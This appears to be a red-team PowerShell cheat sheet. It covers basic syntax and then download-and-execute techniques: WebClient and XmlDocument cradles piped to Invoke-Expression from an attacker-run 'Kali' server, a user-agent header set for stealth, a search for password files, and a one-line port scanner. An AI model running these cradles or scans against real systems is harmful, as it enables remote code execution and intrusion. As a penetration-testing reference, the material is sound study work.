PowerShell

PowerShell is a powerful scripting language and command-line shell developed by Microsoft for automating administrative tasks and managing computer systems.

Getting Start

% = foreach
$_ = current object 
example: 1,2,3,4 | % {$_+3} 
result : 4,5,6,7 
? = where
eq = equal
ne = not equal
like = similar/comparable
gt = greater than
lt = less than
example: Get-Service | ? {$_.Status -ne "Running"} 
select = Select-Object
example: Get-Service dhcp | select ServiceName CanPauseAndContinue,DisplayName

sls = Select-String
example: ls -r <path> -File *.txt | %{ sls -Path $_ -Pattern pass* }
Module:
C:\$Env:PsModulePath
all modules in this path are imported automatically

Get-Command -Module <module name>

Download Files

// A summary of methods we can use For "In-Memory" execution with PowerShell 2.0:
> Net.WebClient DownloadString Method
> Net.WebClient DownloadData Method
> Net.WebClient OpenRead Method
> .NET [Net.HttpWebRequest] class
> Word.Application COM Object
> Excel.Application COM Object
> InternetExplorer.Application COM Object
> MsXml2.ServerXmlHttp COM Object
> Certutil.exe w/ -ping argument

// A summary of methods we can use For "Disk-Based" execution with PowerShell 2.0:
> Net.WebClient DownloadFile method
> BITSAdmin.exe
> Certutil.exe w/ -urlcache argument

Some Examples:

New-Object:

$variable = New-Object System.Net.WebClient
$variable | gm   //gm = Get-Member
$address= "<web server/file>"
$path = "<full path/file>"
$variable.DownloadFile($address,$path)

Invoke-Expression:

iex $variable.DownloadString($address,$path)
//this will "download" the string of the file and the iex = Invoke-Expression will execute the string as a command

System.xml.XmlDocument:

First on Kali > open a webserver with a xml file:

<?xml version="1.0"?>
<command>
  <a>
    <execute>Set-ExecutionPolicy Bypass -Force -Scope CurrentUser</execute>
  </a>
  <b>
    <execute>Get-Process</execute>
  </b>
</command>
// On Target:
Target>
$docxml = New-Object System.Xml.XmlDocument
$docxml.Load("http://ip/arquivo.xml"); 
iex $docxml.command.a.execute 

+Stealthy

Specify headers when download files, for example user-agent:

$variable.Headers.Add("user-agent","redteam")
iex $variable.DownloadString($address,$path)

Some usage Examples

Cmdlets associated with the process:

Get-Command *process* -CommandType cmdlet | Measure-Object

Cmdlets associated with "Set":

(Get-Command -CommandType cmdlet | Sort-Object Verb | sls ^Set).Count

4th process using more memory:

ps | Sort-Object -Property WS -Descending | Select-Object -Index 3

Simple PortScan:

1..1024 | %{echo ((new-object Net.Sockets.TcpClient).Connect("IP",$_)) "Port $_ is open"} 2>$null

Last updated